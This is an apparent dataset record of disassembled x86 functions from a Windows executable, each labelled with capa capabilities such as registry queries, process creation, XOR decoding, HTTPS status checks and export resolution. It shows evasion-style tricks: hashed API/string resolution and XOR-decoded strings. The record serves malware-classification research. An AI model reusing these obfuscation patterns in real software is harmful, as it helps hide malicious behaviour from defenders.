joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435099
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x517490]
xor eax, esp
mov dword [esp + 0x110], eax
push ebp
push esi
mov esi, dword [esp + 0x120]
xor eax, eax
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
mov word [esi], ax
lea eax, [esp + 0x1c]
push eax
call fcn.004ba78c
push 0xc9b25d73
push 0x7ca03ef3
lea edi, [esp + 0x28]
push 0x5ac59278
add edi, eax
call fcn.00401eb3
add esp, 0x14
sub edi, eax
mov cl, byte [eax]
mov byte [edi + eax], cl
inc eax
test cl, cl
jne 0x4350ea
lea eax, [esp + 0xc]
xor ebp, ebp
push eax
push 1
push ebp
lea eax, [esp + 0x24]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4351cf
mov eax, dword [esp + 0x128]
lea edi, [eax + eax]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], edi
push eax
push esi
lea eax, [esp + 0x1c]
push eax
push ebp
push 0xb83158bb
push 0xd233b26
push 0x2b4697b9
call fcn.00401ee0
add esp, 0xc
push eax
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x435176
push esi
push 0xc7fc8d0c
push 0x72eeee8d
push 0x548b4232
call fcn.00401ee0
add esp, 0xc
push eax
call fcn.004c07ea
pop ecx
pop ecx
xor eax, eax
mov dword [esp + 0x10], edi
mov word [esi], ax
lea eax, [esp + 0x10]
push eax
push esi
lea eax, [esp + 0x1c]
push eax
push ebp
push 0x8c0455a9
push 0x3916362b
push 0x1f739afc
call fcn.00401ee0
add esp, 0xc
push eax
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4351c5
push 0x5c
push esi
call fcn.004bacf8
pop ecx
pop ecx
test eax, eax
je 0x4351c5
xor ecx, ecx
mov word [eax + 2], cx
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x11c]
xor eax, eax
cmp word [esi], bp
pop edi
pop esi
setne al
pop ebp
xor ecx, esp
call fcn.004b94b6
add esp, 0x114
ret

Function at 0x4351ef
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x40
xor esi, esi
lea eax, [ebp - 0x50]
xorps xmm0, xmm0
push esi
push eax
movdqu xmmword [ebp - 0x10], xmm0
call fcn.004bea90
mov eax, dword [ebp + 0x10]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x28], 0x100
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x1c], esi
push esi
push 0x8000000
push 1
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
test edi, edi
je 0x435270
cmp dword [ebp + 0x14], esi
je 0x435260
push dword [ebp + 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4354e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push esi
mov esi, dword [esp + 0x14]
push edi
xor edi, edi
push edi
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x43551e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x43551e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x435576
cmp dword [esp + 0xc], edi
jne 0x435513
push ebp
lea eax, [ebx + 1]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
jne 0x435549
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x435575
push edi
lea eax, [esp + 0x18]
push eax
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x43556c
cmp dword [esp + 0x14], ebx
jne 0x43556c
mov eax, dword [esp + 0x20]
mov edi, ebp
mov dword [eax], ebx
jmp 0x435573
push ebp
call fcn.00404d44
pop ecx
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
pop ecx
pop ecx
ret
Function at 0x4374ba
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0xc], 0x80
push esi
jne 0x437561
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebx, dword [eax]
mov ecx, dword [eax + 8]
mov esi, dword [eax + 4]
mov ebp, dword [eax + 0xc]
mov eax, ebp
mov edx, dword [edx]
or eax, 1
mov dword [esp + 0x18], ecx
mov ecx, ebx
shr ecx, 8
xor ecx, edx
shr edx, 0x18
sub ecx, esi
xor ecx, dword [esp + 0x18]
imul ecx, eax
movzx eax, bl
xor edx, eax
mov eax, dword [esp + 0x10]
push edi
mov edi, ebx
mov ebx, dword [esp + 0x1c]
shl ecx, 8
and edi, 0xffffff00
or ecx, edx
mov edx, esi
mov dword [eax], ecx
or edx, 1
mov ecx, eax
mov eax, dword [ecx + 4]
imul eax, edx
sub eax, ebp
add eax, ebx
or ebx, 1
xor eax, edi
mov dword [ecx + 4], eax
mov eax, dword [ecx + 8]
mov ecx, ebp
imul eax, ebx
sub ecx, eax
mov eax, edi
not eax
imul ecx, eax
add ecx, esi
mov esi, dword [esp + 0x14]
mov eax, dword [esi + 0xc]
xor eax, ebp
mov dword [esi + 8], ecx
sub eax, edi
imul eax, ebx
pop edi
pop ebp
pop ebx
imul eax, edx
mov dword [esi + 0xc], eax
pop esi
ret
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 8]
sub edx, ecx
push 4
pop esi
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
dec esi
jne 0x43756e
pop esi
ret

Function at 0x437e9c
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
push ebp
mov ebp, dword [esp + 0x28]
test ebp, ebp
jle 0x437f0e
mov eax, dword [esp + 0x1c]
push ebx
mov ebx, dword [esp + 0x28]
sub eax, ebx
dec ebp
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x24]
push esi
shr ebp, 4
push edi
inc ebp
mov esi, eax
lea edi, [esp + 0x10]
push ebx
push eax
push dword [esp + 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00437f8a
mov ecx, dword [esp + 0x40]
add esp, 0xc
push 0x10
pop edx
mov al, byte [ecx + ebx]
xor byte [ebx], al
inc ebx
dec edx
jne 0x437ee1
mov edi, dword [esp + 0x28]
lea esi, [esp + 0x10]
mov eax, dword [esp + 0x2c]
sub ecx, 0x10
add eax, 0x10
mov dword [esp + 0x34], ecx
mov dword [esp + 0x2c], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
dec ebp
jne 0x437ec2
pop edi
pop esi
pop ebx
pop ebp
add esp, 0x10
ret
Function at 0x437f13
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0x14]
test eax, eax
jle 0x437f89
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x14]
lea ebx, [eax - 1]
push esi
sub edx, ebp
shr ebx, 4
push edi
mov edi, dword [esp + 0x20]
inc ebx
mov dword [esp + 0x24], edx
mov esi, edi
mov ecx, ebp
push 0x10
sub esi, ebp
pop edi
mov al, byte [edx + ecx]
xor al, byte [ecx]
mov byte [esi + ecx], al
inc ecx
dec edi
jne 0x437f41
mov edi, dword [esp + 0x20]
push edi
push edi
push dword [esp + 0x1c]
call fcn.00438b45
mov edx, dword [esp + 0x30]
mov esi, edi
mov edi, dword [esp + 0x24]
sub edx, 0x10
add esp, 0xc
mov dword [esp + 0x24], edx
add ebp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x20]
add edi, 0x10
mov dword [esp + 0x20], edi
dec ebx
jne 0x437f38
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x439d58
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x517490]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 0xc]
mov eax, ebx
push edi
mov edi, dword [ebp + 0x10]
cmp eax, 0x10
jae 0x439e18
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x10
jl 0x439d7b
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
push eax
push ecx
call fcn.0042c1e6
add esp, 0xc
test byte [ebp - 0x24], 0x80
jne 0x439db0
lea eax, [ebp - 0x24]
push esi
push eax
call fcn.00439e1e
pop ecx
pop ecx
jmp 0x439dd6
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00439e1e
pop ecx
pop ecx
mov ecx, ebx
mov eax, dword [ecx + 0x4d9988]
xor eax, dword [ebp + ecx - 0x14]
mov dword [ecx + esi], eax
add ecx, 4
cmp ecx, 0x10
jl 0x439dc1
test byte [esi], 0x80
jne 0x439df5
push edi
push esi
call fcn.00439e1e
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b94b6
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.00439e1e
pop ecx
pop ecx
mov eax, dword [ebx + 0x4d9988]
xor eax, dword [ebp + ebx - 0x14]
mov dword [ebx + edi], eax
add ebx, 4
cmp ebx, 0x10
jl 0x439e01
jmp 0x439de4
call fcn.004b9df5
int3
Function at 0x439e47
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x5c
mov eax, dword [0x517490]
xor eax, esp
mov dword [esp + 0x58], eax
mov ecx, dword [esp + 0x6c]
mov eax, dword [esp + 0x60]
push ebx
push ebp
push esi
push edi
push dword [esp + 0x80]
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x5c]
push ecx
lea ecx, [esp + 0x30]
mov dword [esp + 0x18], eax
push ecx
push eax
call fcn.00439d58
mov edi, dword [esp + 0x88]
add esp, 0x10
lea eax, [edi + 0xf]
cdq
and edx, 0xf
add edx, eax
sar edx, 4
test edx, edx
jne 0x439ec4
inc edx
and edi, 0x8000000f
jns 0x439ea8
dec edi
or edi, 0xfffffff0
inc edi
mov ebp, dword [esp + 0x74]
xor ebx, ebx
push 0x10
mov ecx, ebx
pop esi
cmp ecx, edi
jge 0x439eff
mov eax, edx
shl eax, 4
add eax, ecx
mov al, byte [eax + ebp - 0x10]
jmp 0x439f06
mov eax, edi
and eax, 0x8000000f
jns 0x439ed2
dec eax
or eax, 0xfffffff0
inc eax
jne 0x439e9b
mov ebp, dword [esp + 0x74]
mov eax, edx
shl eax, 4
push 0x10
pop esi
lea edi, [ebp - 0x10]
add edi, eax
xor ebx, ebx
mov ecx, ebx
mov eax, dword [esp + ecx + 0x28]
xor eax, dword [edi]
lea edi, [edi + 4]
mov dword [esp + ecx + 0x48], eax
add ecx, 4
cmp ecx, esi
jl 0x439ee9
jmp 0x439f24
setne al
dec al
and al, 0x80
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, esi
jl 0x439eb3
mov ecx, ebx
mov eax, dword [esp + ecx + 0x28]
xor eax, dword [esp + ecx + 0x58]
mov dword [esp + ecx + 0x48], eax
add ecx, 4
cmp ecx, esi
jl 0x439f11
mov eax, ebx
cmp eax, esi
jae 0x439fb6
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, esi
jl 0x439f28
lea edi, [edx - 1]
test edi, edi
jle 0x439f6e
mov ecx, ebx
mov eax, dword [esp + ecx + 0x18]
xor eax, dword [ebp]
add ebp, 4
mov dword [esp + ecx + 0x38], eax
add ecx, 4
cmp ecx, esi
jl 0x439f40
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x18]
call fcn.0042c1e6
add esp, 0xc
dec edi
jne 0x439f3e
mov eax, dword [esp + ebx + 0x18]
xor eax, dword [esp + ebx + 0x48]
mov dword [esp + ebx + 0x38], eax
add ebx, 4
cmp ebx, esi
jl 0x439f6e
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x18]
call fcn.0042c1e6
mov edi, dword [esp + 0x20]
lea esi, [esp + 0x24]
mov ecx, dword [esp + 0x74]
add esp, 0xc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b94b6
add esp, 0x5c
ret
call fcn.004b9df5
int3

Function at 0x43ac68
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 8]
push 0x43ac8e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x43b02f
Capabilities:
Check http status code

Disassembly:
sub esp, 0x14
push ebx
push esi
push edi
push 0x39b2a347
push 0x6f47897f
push 0xf1d32bdf
mov dword [esp + 0x18], 0x193
call fcn.00401f64
mov esi, dword [0x529a98]
add esp, 0xc
xor edi, edi
mov ebx, eax
push edi
push edi
push edi
push edi
push 0x3e65255b
push 0x68900f76
push 0xf604adc4
call fcn.00401f64
add esp, 0xc
push eax
call dword [esi + 0x5c]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x43b1b7
push ebp
push edi
push edi
push 3
push edi
push edi
push 0x1bb
push ebx
push eax
mov eax, dword [0x529a98]
call dword [eax + 0x58]
mov ebp, eax
mov dword [esp + 0x1c], ebp
test ebp, ebp
je 0x43b1aa
mov esi, dword [0x529a98]
push edi
push 0x4880300
push edi
push edi
push 0x7e8744ad
push 0x28726e8c
push 0xb6e6cc0e
call fcn.00401f64
add esp, 0xc
push eax
push dword [esp + 0x3c]
push 0xa96c668d
push 0xff994ca0
push 0x610dee2a
call fcn.00401f64
add esp, 0xc
push eax
push ebp
call dword [esi + 0x48]
mov ebx, eax
test ebx, ebx
je 0x43b1a1
push dword [esp + 0x30]
mov esi, dword [0x529a98]
push dword [esp + 0x30]
push 0x28
push 0xc95e9d31
push 0x9fabb730
push 0x13f15a6
call fcn.00401f64
add esp, 0xc
push eax
push ebx
call dword [esi + 0x50]
test eax, eax
je 0x43b198
push edi
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 4
push eax
lea eax, [esp + 0x18]
push eax
mov eax, dword [0x529a98]
push 0x20000013
push ebx
call dword [eax + 0x4c]
cmp dword [esp + 0x10], 0xc8
jne 0x43b198
mov eax, dword [esp + 0x38]
mov dword [esp + 0x14], edi
mov esi, dword [eax]
test esi, esi
je 0x43b196
mov ebp, dword [esp + 0x34]
lea eax, [esp + 0x14]
push eax
mov eax, dword [0x529a98]
push esi
push ebp
push ebx
call dword [eax + 0x64]
test eax, eax
je 0x43b18e
mov eax, dword [esp + 0x14]
test eax, eax
je 0x43b18e
add ebp, eax
add edi, eax
sub esi, eax
jne 0x43b16a
mov ebp, dword [esp + 0x1c]
mov eax, dword [esp + 0x38]
mov dword [eax], edi
mov eax, dword [0x529a98]
push ebx
call dword [eax + 0x54]
mov eax, dword [0x529a98]
push ebp
call dword [eax + 0x54]
mov eax, dword [0x529a98]
push dword [esp + 0x20]
call dword [eax + 0x54]
pop ebp
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x43b5ee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x517490]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
movzx eax, byte [ecx*2 + 0x4fad65]
shl ax, 8
movzx esi, ax
movzx eax, byte [ecx*2 + 0x4fad66]
or esi, eax
mov eax, 0x46f9
xor esi, 0x5254
push edi
add esi, 0x4faa38
xor edi, edi
mov edx, edi
mov ecx, eax
mov byte [ebp + edx - 0x14], al
shl eax, 3
sar ecx, 3
or ecx, eax
imul eax, ecx, 0x5b
inc edx
cmp edx, 0x10
jl 0x43b638
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00439b07
pop ecx
lea eax, [ebp - 0x14]
pop ecx
sub esi, eax
lea ecx, [ebp - 0x14]
add ecx, edi
mov al, byte [esi + ecx]
xor al, 0x68
inc edi
mov byte [ecx], al
cmp edi, 0x10
jl 0x43b666
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00437f8a
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004b94b6
mov esp, ebp
pop ebp
ret

Function at 0x43b69d
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
mov eax, 0x342b
xor ax, word [ecx + str.__404t]
mov word [ecx + edx], ax
add ecx, 2
cmp ecx, 0x48
jb 0x43b6a3
push 3
pop eax
ret

Function at 0x43b6bf
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
lea ecx, [eax + 0x4faa38]
mov eax, dword [esp + 0xc]
mov dl, byte [ecx]
xor dl, 0x85
inc ecx
mov byte [eax], dl
lea esi, [eax + 1]
test dl, dl
je 0x43b6eb
movzx edx, dl
mov al, byte [ecx]
xor al, 0x85
mov byte [esi], al
inc esi
inc ecx
dec edx
jne 0x43b6e0
pop esi
ret

Function at 0x43b6ed
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
xor edx, edx
push 2
pop eax
mov ecx, 0x2af6
xor cx, word [edx + 0x4fab52]
mov word [edx + esi], cx
add edx, eax
cmp edx, 0x20
jl 0x43b6f7
pop esi
ret

Function at 0x43b710
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
mov edx, 0x4faa4b
push esi
push 0x5c
sub edx, ecx
pop esi
mov al, byte [edx + ecx]
xor al, 0xc3
mov byte [ecx], al
inc ecx
dec esi
jne 0x43b71f
pop esi
ret

Function at 0x43b72c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x517490]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor edx, edx
push edi
mov edi, dword [ebp + 8]
mov ecx, edx
mov al, byte [ecx + 0x4fabb3]
xor al, 0x30
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x20
jl 0x43b748
mov eax, 0x46f9
mov ecx, eax
mov byte [ebp + edx - 0x34], al
shl eax, 3
sar ecx, 3
or ecx, eax
imul eax, ecx, 0x5b
inc edx
cmp edx, 0x10
jl 0x43b75f
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00439b07
lea eax, [ebp - 0x24]
push eax
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00437f8a
lea eax, [ebp - 0x14]
push eax
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00437f8a
add esp, 0x20
lea esi, [ebp - 0x24]
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004b94b6
mov esp, ebp
pop ebp
ret
Function at 0x43bb9c
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x20
mov eax, dword [0x517490]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
push ebx
push ebp
push esi
movzx edx, byte [eax + 2]
movzx ecx, byte [eax + 4]
movzx ebx, byte [eax]
movzx esi, byte [eax + 1]
or ebx, 0x100
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, edx
and edx, 7
push edi
lea ecx, [ecx*2 + 8]
sub ecx, edx
mov edx, 0xff
mov eax, ecx
shr eax, 8
and eax, edx
movzx edi, byte [eax + 0x4db2e0]
movzx eax, cl
movzx eax, byte [eax + 0x4db2e0]
shl eax, 8
or edi, eax
mov eax, ecx
shr eax, 0x10
and eax, edx
shl edi, 8
shr ecx, 0x18
movzx eax, byte [eax + 0x4db2e0]
or edi, eax
movzx eax, byte [ecx + 0x4db2e0]
shl edi, 8
or edi, eax
mov eax, dword [esp + 0x34]
xor ebp, ebp
movzx eax, al
mov dword [esp + 0x10], ebp
mov dword [esp + 0x20], eax
mov al, byte [esi + 0x4dafe0]
mov ecx, ebx
xor al, byte [ebx + 0x4db0e0]
and ebx, 1
movzx esi, al
mov eax, edi
shr ecx, 1
shr eax, 0xb
mov dword [esp + 0x18], ecx
mov ecx, edi
shr ecx, 0x13
xor cl, al
shl ebx, 8
mov eax, edi
xor ebx, esi
shr eax, 0xa
xor cl, al
mov eax, edi
shr eax, 7
xor cl, al
shr edi, 8
movzx edx, cl
movzx ecx, byte [esi + 0x4db2e0]
mov eax, edx
mov esi, dword [esp + 0x18]
shl eax, 0x18
or edi, eax
mov eax, dword [esp + 0x20]
xor eax, edx
add eax, ebp
add eax, ecx
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
shr eax, 8
inc ecx
mov dword [esp + 0x14], eax
mov ebp, eax
mov dword [esp + 0x10], ecx
cmp ecx, 5
jl 0x43bc3e
mov ecx, dword [esp + 0x3c]
mov esi, dword [esp + 0x1c]
pop edi
movzx eax, byte [ecx + 4]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [ecx + 3]
xor al, byte [esp + 0x24]
mov byte [esi + 4], al
movzx eax, byte [ecx + 3]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esp + 0x23]
xor al, byte [ecx + 2]
mov byte [esi + 3], al
movzx eax, byte [ecx + 2]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [ecx + 1]
xor al, byte [esp + 0x22]
mov byte [esi + 2], al
movzx eax, byte [ecx + 1]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [ecx]
xor al, byte [esp + 0x21]
mov byte [esi + 1], al
movzx eax, byte [ecx]
mov ecx, dword [esp + 0x28]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esi + 4]
xor al, byte [esp + 0x20]
mov byte [esi], al
movzx eax, byte [esi + 4]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esi + 3]
xor al, byte [esp + 0x24]
mov byte [esi + 4], al
movzx eax, byte [esi + 3]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esi + 2]
xor al, byte [esp + 0x23]
mov byte [esi + 3], al
movzx eax, byte [esi + 2]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esi + 1]
xor al, byte [esp + 0x22]
mov byte [esi + 2], al
movzx eax, byte [esi + 1]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esi]
xor al, byte [esp + 0x21]
mov byte [esi + 1], al
movzx eax, byte [esi]
mov al, byte [eax + str.3s_ckv_6n.f]
xor al, byte [esp + 0x20]
mov byte [esi], al
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b94b6
add esp, 0x20
ret
Function at 0x441668
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x525ce8], 0
push ebx
push esi
push edi
jne 0x4416b9
xor ebx, ebx
inc ebx
xor esi, esi
mov dword [0x525ce8], ebx
mov eax, esi
push 8
cdq
pop edi
mov ecx, eax
shrd eax, edx, 1
and ecx, ebx
shr edx, 1
or ecx, 0
je 0x44169f
xor eax, 0xac4bc9b5
xor edx, 0x95ac9329
dec edi
jne 0x441685
mov dword [esi*8 + 0x525cf0], eax
mov dword [esi*8 + 0x525cf4], edx
inc esi
cmp esi, 0x100
jl 0x44167f
mov edi, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
test edi, edi
je 0x4416f7
mov esi, dword [esp + 0x18]
movzx edx, byte [ebx]
xor edx, dword [esi]
mov eax, dword [esi]
and edx, 0xff
mov ecx, dword [esi + 4]
shrd eax, ecx, 8
xor eax, dword [edx*8 + 0x525cf0]
shr ecx, 8
xor ecx, dword [edx*8 + 0x525cf4]
inc ebx
mov dword [esi], eax
mov dword [esi + 4], ecx
dec edi
jne 0x4416c9
pop edi
pop esi
pop ebx
ret

Function at 0x442063
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x50
mov eax, dword [0x517490]
xor eax, esp
mov dword [esp + 0x4c], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0xc], ebx
call fcn.00441a07
mov edi, eax
test edi, edi
je 0x44213a
mov eax, dword [edi + 0x14]
xor esi, esi
sub eax, dword [edi + 0x10]
push ebp
push 0x18
cdq
pop ecx
idiv ecx
test eax, eax
je 0x4420c4
mov ecx, dword [edi + 0x10]
mov ebp, dword [esp + 0x64]
add ecx, 4
push 0x18
pop ebx
cmp dword [ecx], ebp
je 0x4420bd
mov eax, dword [edi + 0x14]
inc esi
sub eax, dword [edi + 0x10]
add ecx, ebx
cdq
idiv ebx
cmp esi, eax
jb 0x4420a9
mov ebx, dword [esp + 0x10]
push 0x18
pop ecx
and dword [ebx + 0x80], 0
xor eax, eax
and dword [ebx + 0x88], 0
inc eax
mov dword [ebx + 0x70], eax
mov word [ebx + 0x86], ax
mov eax, dword [edi + 0x14]
sub eax, dword [edi + 0x10]
cdq
idiv ecx
cmp esi, eax
jae 0x442169
mov eax, dword [edi + 0x10]
imul ecx, esi, 0x18
mov esi, dword [ecx + eax + 0x14]
lea eax, [edi + 0x1c]
push esi
lea ecx, [ebx + 0x70]
mov dword [ebx + 0x8c], 1
mov dword [ebx + 0x7c], eax
call fcn.00441f2b
lea eax, [esi + 1]
mov word [ebx + 0x48], ax
mov ecx, dword [ebx + 0x6c]
push ebx
call fcn.0043fe10
mov ecx, dword [esp + 0x5c]
neg al
pop ebp
pop edi
pop esi
sbb al, al
pop ebx
xor ecx, esp
inc al
call fcn.004b94b6
add esp, 0x50
ret 4
push 8
pop ecx
xor eax, eax
mov dword [esp + 0x10], 0xc
push 9
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
pop ecx
push 0x4f0680
lea eax, [esp + 0x38]
lea esi, [esp + 0x14]
lea edi, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.004bc767
or dword [ebx + 0x78], 0xffffffff
lea edi, [esp + 0x18]
and dword [ebx + 0x74], 0
lea esi, [esp + 0x14]
and dword [ebx + 0x7c], 0
xor eax, eax
push 8
pop ecx
push 9
mov dword [esp + 0x18], 0xa
rep stosd dword es:[edi], eax
pop ecx
push 0x4f0680
lea eax, [esp + 0x3c]
lea edi, [esp + 0x3c]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.004bc767
int3